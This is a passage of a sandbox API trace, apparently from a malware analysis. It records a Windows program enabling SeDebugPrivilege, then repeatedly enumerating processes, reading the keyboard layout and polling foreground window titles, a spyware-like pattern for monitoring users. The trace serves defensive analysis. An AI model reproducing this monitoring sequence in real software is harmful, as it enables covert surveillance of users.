MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.498] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.628] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.746] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.882] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.996] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.121] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.250] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.370] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.500] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.620] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.745] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.869] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.994] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.118] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.243] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.369] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.493] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.618] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.742] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.867] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.992] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.117] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.241] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.366] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.491] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.616] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.741] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.865] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.991] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.115] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.240] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.374] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.490] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.614] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.812] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.927] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.051] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.176] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.301] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.425] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.550] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.675] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.800] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0228.925] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.049] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.174] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.299] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.424] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.549] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.673] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.798] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0229.923] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.048] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.173] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.298] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.422] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.547] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.674] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.797] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0230.922] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.046] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.171] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.296] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.421] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.546] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.670] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0231.795] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) Thread: id = 28 os_tid = 0xb94 [0182.480] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0203.391] SetThreadExecutionState (esFlags=0x80000001) returned 0x80000000 [0223.403] SetThreadExecutionState (esFlags=0x80000001) returned 0x80000001 Thread: id = 29 os_tid = 0xb9c [0186.426] CoGetContextToken (in: pToken=0x4e4fdf0 | out: pToken=0x4e4fdf0) returned 0x0 [0186.426] CObjectContext::QueryInterface () returned 0x0 [0186.426] CObjectContext::GetCurrentThreadType () returned 0x0 [0186.426] Release () returned 0x0 [0186.427] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 30 os_tid = 0xba0 [0186.451] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.212] GetForegroundWindow () returned 0x101a2 [0187.213] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0187.492] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x4f8f0ec | out: lpLuid=0x4f8f0ec*(LowPart=0x14, HighPart=0)) returned 1 [0187.689] GetLastError () returned 0x0 [0187.706] GetCurrentProcess () returned 0xffffffff [0187.706] GetLastError () returned 0x0 [0187.707] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x4f8f0e8 | out: TokenHandle=0x4f8f0e8*=0x1f4) returned 1 [0187.707] GetLastError () returned 0x0 [0187.709] AdjustTokenPrivileges (in: TokenHandle=0x1f4, DisableAllPrivileges=0, NewState=0x23607dc*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0187.709] GetLastError () returned 0x0 [0187.709] CloseHandle (hObject=0x1f4) returned 1 [0187.709] GetLastError () returned 0x0 [0187.732] EnumProcesses (in: lpidProcess=0x23610d8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23610d8, lpcbNeeded=0x4f8f87c) returned 1 [0187.734] GetLastError () returned 0x0 [0187.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0187.746] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0187.748] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.748] GetForegroundWindow () returned 0x101a2 [0187.748] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.749] GetForegroundWindow () returned 0x101a2 [0187.749] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.749] GetForegroundWindow () returned 0x101a2 [0187.749] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.749] GetForegroundWindow () returned 0x100f6 [0187.749] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0187.749] EnumProcesses (in: lpidProcess=0x23734b4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23734b4, lpcbNeeded=0x4f8f87c) returned 1 [0187.750] GetLastError () returned 0x0 [0187.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0187.753] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0187.754] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0187.754] GetForegroundWindow () returned 0x101a2 [0187.754] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0187.754] EnumProcesses (in: lpidProcess=0x2384fc0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384fc0, lpcbNeeded=0x4f8f87c) returned 1 [0187.754] GetLastError () returned 0x0 [0187.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0187.769] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0187.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.769] GetForegroundWindow () returned 0x101a2 [0187.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.769] GetForegroundWindow () returned 0x101a2 [0187.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.769] GetForegroundWindow () returned 0x101a2 [0187.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.769] GetForegroundWindow () returned 0x100f6 [0187.770] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0187.770] EnumProcesses (in: lpidProcess=0x239751c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x239751c, lpcbNeeded=0x4f8f87c) returned 1 [0187.770] GetLastError () returned 0x0 [0187.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0187.774] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0187.774] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0187.775] GetForegroundWindow () returned 0x101a2 [0187.775] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0187.775] EnumProcesses (in: lpidProcess=0x23bd11c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23bd11c, lpcbNeeded=0x4f8f87c) returned 1 [0187.775] GetLastError () returned 0x0 [0187.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0187.778] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0187.778] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.835] GetForegroundWindow () returned 0x101a2 [0187.835] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.897] GetForegroundWindow () returned 0x101a2 [0187.897] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0187.959] GetForegroundWindow () returned 0x101a2 [0187.959] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.022] GetForegroundWindow () returned 0x100f6 [0188.022] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0188.022] EnumProcesses (in: lpidProcess=0x23cf420, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cf420, lpcbNeeded=0x4f8f87c) returned 1 [0188.022] GetLastError () returned 0x0 [0188.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0188.026] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0188.026] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0188.084] GetForegroundWindow () returned 0x101a2 [0188.084] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0188.084] EnumProcesses (in: lpidProcess=0x23e0ef8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23e0ef8, lpcbNeeded=0x4f8f87c) returned 1 [0188.085] GetLastError () returned 0x0 [0188.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0188.089] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0188.089] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.147] GetForegroundWindow () returned 0x101a2 [0188.147] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.209] GetForegroundWindow () returned 0x101a2 [0188.209] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.272] GetForegroundWindow () returned 0x101a2 [0188.272] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.334] GetForegroundWindow () returned 0x100f6 [0188.334] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0188.334] EnumProcesses (in: lpidProcess=0x23f3a48, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23f3a48, lpcbNeeded=0x4f8f87c) returned 1 [0188.335] GetLastError () returned 0x0 [0188.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0188.338] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0188.338] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0188.396] GetForegroundWindow () returned 0x101a2 [0188.396] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0188.396] EnumProcesses (in: lpidProcess=0x2405500, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2405500, lpcbNeeded=0x4f8f87c) returned 1 [0188.397] GetLastError () returned 0x0 [0188.397] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0188.400] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0188.400] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.459] GetForegroundWindow () returned 0x101a2 [0188.459] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.521] GetForegroundWindow () returned 0x101a2 [0188.521] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.583] GetForegroundWindow () returned 0x101a2 [0188.583] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.646] GetForegroundWindow () returned 0x100f6 [0188.646] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0188.646] EnumProcesses (in: lpidProcess=0x2417814, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2417814, lpcbNeeded=0x4f8f87c) returned 1 [0188.647] GetLastError () returned 0x0 [0188.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3481f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3481f90, ResultLength=0x4f8f840*=0x8ea8) returned 0x0 [0188.650] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0188.650] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0188.708] GetForegroundWindow () returned 0x101a2 [0188.708] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0188.708] EnumProcesses (in: lpidProcess=0x24292cc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24292cc, lpcbNeeded=0x4f8f87c) returned 1 [0188.709] GetLastError () returned 0x0 [0188.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a1fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a1fb0, ResultLength=0x4f8f840*=0x8e28) returned 0x0 [0188.712] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0188.712] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.771] GetForegroundWindow () returned 0x101a2 [0188.771] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.833] GetForegroundWindow () returned 0x101a2 [0188.833] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.895] GetForegroundWindow () returned 0x101a2 [0188.895] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0188.958] GetForegroundWindow () returned 0x100f6 [0188.958] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0188.958] EnumProcesses (in: lpidProcess=0x243b9e4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x243b9e4, lpcbNeeded=0x4f8f87c) returned 1 [0188.959] GetLastError () returned 0x0 [0188.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c1fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c1fd0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0188.962] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0188.962] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0189.020] GetForegroundWindow () returned 0x101a2 [0189.020] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0189.020] EnumProcesses (in: lpidProcess=0x244d6bc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x244d6bc, lpcbNeeded=0x4f8f87c) returned 1 [0189.021] GetLastError () returned 0x0 [0189.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e1ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e1ff0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0189.024] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0189.024] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.083] GetForegroundWindow () returned 0x101a2 [0189.083] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.145] GetForegroundWindow () returned 0x101a2 [0189.145] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.348] GetForegroundWindow () returned 0x101a2 [0189.348] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.410] GetForegroundWindow () returned 0x100f6 [0189.410] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0189.410] EnumProcesses (in: lpidProcess=0x245f930, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x245f930, lpcbNeeded=0x4f8f87c) returned 1 [0189.564] GetLastError () returned 0x0 [0189.564] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3502010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3502010, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0189.567] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0189.567] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0189.568] GetForegroundWindow () returned 0x101a2 [0189.568] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0189.568] EnumProcesses (in: lpidProcess=0x247137c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247137c, lpcbNeeded=0x4f8f87c) returned 1 [0189.568] GetLastError () returned 0x0 [0189.568] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3522030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3522030, ResultLength=0x4f8f840*=0x8e68) returned 0x0 